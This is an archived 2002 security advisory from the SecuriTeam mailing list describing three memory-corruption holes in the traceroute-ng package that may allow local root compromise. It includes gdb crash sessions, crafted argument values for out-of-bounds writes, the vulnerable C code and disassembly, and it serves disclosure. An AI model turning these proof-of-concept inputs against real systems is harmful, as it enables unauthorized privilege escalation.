

[UNIX] TracerouteNG – The Never Ending Story

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-12/0006.html>

From: support@securiteam.com

Date: 12/01/02

From: support@securiteam.com

To: list@securiteam.com

Date: 1 Dec 2002 19:56:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

TracerouteNG – The Never Ending Story

SUMMARY

There are still vulnerabilities in the traceroute-ng package which may lead to a local root compromise, depending on the actual OS running on.

DETAILS

The vulnerability:

The patch provided by vendors like SuSE is not sufficient. It only closed one of at least 3 different holes.

Hole #1 : (closed in the recent patch)

```
(gdb) r -P -q 1 -n $(perl -e 'print"0"x13000')127.0.0.1
```

```
Starting program: /usr/sbin/traceroute -P -q 1 -n $(perl -e 'print"0"x13000')127.0.0.1
```

```
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0x400d9634 in strcpy () from /lib/libc.so.6
```

This is caused by insufficient length checking in the hostname buffer copied from the command line. The buffer is global static so it is located in .bss. The vulnerable code is:

Securiteam: [UNIX] TracerouteNG – The Never Ending Story

```
#ifdef VMS_CLD
    av[0] = hostname;
#endif
to->sin_addr.s_addr = inet_addr(av[0]);
if ((int)to->sin_addr.s_addr != -1) {
    (void) strcpy(hnamebuf, av[0]);
    hostname = hnamebuf;
} else {
```

Hole #2:

```
(gdb) r -P -q 1 -n -S -999999 -m 0 localhost
```

```
Starting program: /usr/sbin/traceroute -P -q 1 -n -S -999999 -m 0
localhost
```

```
traceroute to localhost (127.0.0.1), 0 hops max, 40 byte packets
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0x08049f3c in strcpy ()
```

This comes from an array index overflow in the following code:

```
/*
 * Enter Spray mode
 */
spray_target = spray_max = spray_total = 0;
spray_min = SPRAYMAX+1;

/* For all TTL do */
for (ttl = min_ttl; ttl <= max_ttl; ++ttl) {
    spray_rtn[ttl]=0;
    for (probe = 0; probe < nprobes; ++probe) {
        send_probe(++seq, ttl);
    }
}
```

Obviously we can write an (int)0 at any 4 bytes aligned memory location!
Furthermore, due to a malloc() just right before this code (it is not clear where it comes from in the binary – maybe gcc optimization?) we can write the address returned by malloc at any 4bytes aligned memory location as can be seen from the disassembly:

```
0x8049f2f <strcpy+4411>: call 0x8048c54 <malloc>
0x8049f34 <strcpy+4416>: mov %eax,%edx
0x8049f36 <strcpy+4418>: mov 0xfffffb0(%ebp),%eax
0x8049f39 <strcpy+4421>: shl $0x2,%eax
0x8049f3c <strcpy+4424>: mov %edx,0x8052880(%eax) <----- malloc
write
0x8049f42 <strcpy+4430>: mov 0xfffffb0(%ebp),%esi
0x8049f45 <strcpy+4433>: xor %edi,%edi
0x8049f47 <strcpy+4435>: add $0x10,%esp
0x8049f4a <strcpy+4438>: inc %esi
```

Securiteam: [UNIX] TracerouteNG – The Never Ending Story

```
0x8049f4b <strcpy+4439>: mov %eax,%ebx
0x8049f4d <strcpy+4441>: cmp 0x804d4cc,%edi
0x8049f53 <strcpy+4447>: jge 0x8049f81 <strcpy+4493>
0x8049f55 <strcpy+4449>: mov 0x8052880(%ebx),%eax
0x8049f5b <strcpy+4455>: movl $0x0,(%eax,%edi,4) <----- 0 write
```

For example, by carefully manipulating the `-m` and `-S` arguments, we can jump into the memory allocated by `malloc()`:

```
(gdb) bt
#0 0x08049f53 in strcpy ()
#1 0x40182bd8 in __DTOR_END__ () from /lib/libc.so.6
#2 0x4007d9ed in __libc_start_main () from /lib/libc.so.6
```

location of 0x4007d9ed :

```
(gdb) x/32xw 0xbffff280
0xbffff280: 0x0804dacc 0x0804dbac 0xbffff2a8 0x4009133b
0xbffff290: 0x40182bd8 0x4000bcd0 0xbffff2b8 0xbffff2d8
0xbffff2a0: 0x4007d9ed 0x0000000a 0xbffff304 0xbffff330
0xbffff2b0: 0x0804baa0 0x00000000 0xbffff2d8 0x4007d9bd
```

```
printf " %d " $(( 0xbffff2a0 - 0x8052880)/4 )) -302075256
```

```
(gdb) r -P -q 1 -n -S -302075256 -m -302075256 localhost
Starting program: /usr/sbin/traceroute -P -q 1 -n -S -302075256 -m
-302075256 localhost
traceroute to localhost (127.0.0.1), -302075256 hops max, 40 byte packets
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053228 in ?? ()
```

```
(gdb) bt
#0 0x08053228 in ?? ()
(gdb) disass $eip $eip+16
Dump of assembler code from 0x8053228 to 0x8053238:
0x8053228: add %al,(%eax)
0x805322a: add %al,(%eax)
0x805322c: enter $0x1803,$0x40
0x8053230: add %al,(%eax)
0x8053232: add %al,(%eax)
0x8053234: cmp %eax,(%eax)
0x8053236: add %al,(%eax)
End of assembler dump.
```

Hole #3:

Just run with the following arguments:

```
(gdb) r -P -q 999 -n localhost
Starting program: /usr/sbin/traceroute -P -q 999 -n localhost
```

Securiteam: [UNIX] TracerouteNG – The Never Ending Story

traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...

Program received signal SIGSEGV, Segmentation fault.

0x0804a765 in strcpy ()

(gdb)

This time the vulnerable code is:

```
for (probe = 0; probe < nprobes; ++probe) {  
    send_probe(++seq, ttl);  
}
```

Together with:

```
send_probe(seq, ttl)
```

```
int ttl;
```

```
int seq;
```

```
{
```

```
...
```

```
#ifdef SPRAY
```

```
    if (spray_mode) {
```

```
        spray[seq].dport = up->uh_dport;
```

```
        spray[seq].ttl = ttl;
```

```
        bcopy(&op->tv, &spray[seq].out, sizeof(struct timeval));
```

```
    }
```

```
#endif
```

So one can overwrite consecutive memory blocks of type

```
struct {
```

```
    u_long dport; /* check for matching dport */
```

```
    u_char ttl; /* ttl we sent it to */
```

```
    u_char type; /* icmp response type */
```

```
    struct timeval out; /* time packet left */
```

```
    struct timeval rtn; /* time packet arrived */
```

```
    struct sockaddr_in from; /* whom from */
```

```
} spray
```

Starting at the address of 'spray' (which is again located in the heap)
with the values stored in out, dport, ttl. So far Paul looked at this,
nothing really sense-full can be overwritten this way. Two candidates are:

[a] the socket descriptor s, which is later used by FD_SET (instant memory
writer... (un)fortunately the system time is stored in s by overflowing
the spray array.

[b] malloc structures on the heap?

Impact:

A potential exploit must either:

Securiteam: [UNIX] TracerouteNG – The Never Ending Story

[a] Change the flow of execution just writing N (int) zeros to adjacent memory cells (self modifying code? find movl something, %eax, write zeros after that until something helpful is reached? – not possible on systems with non-writable code pages)

[b] Or be able to control the memory returned by an malloc() call

[c] Change the flow of execution by writing the spray type data (with the partially controllable content) into adjacent cells

None of them seems very practicable on an x86. Other architectures may present another behavior. More research must be done on this flaw.

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@starzetz.de> Paul Starzetz.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.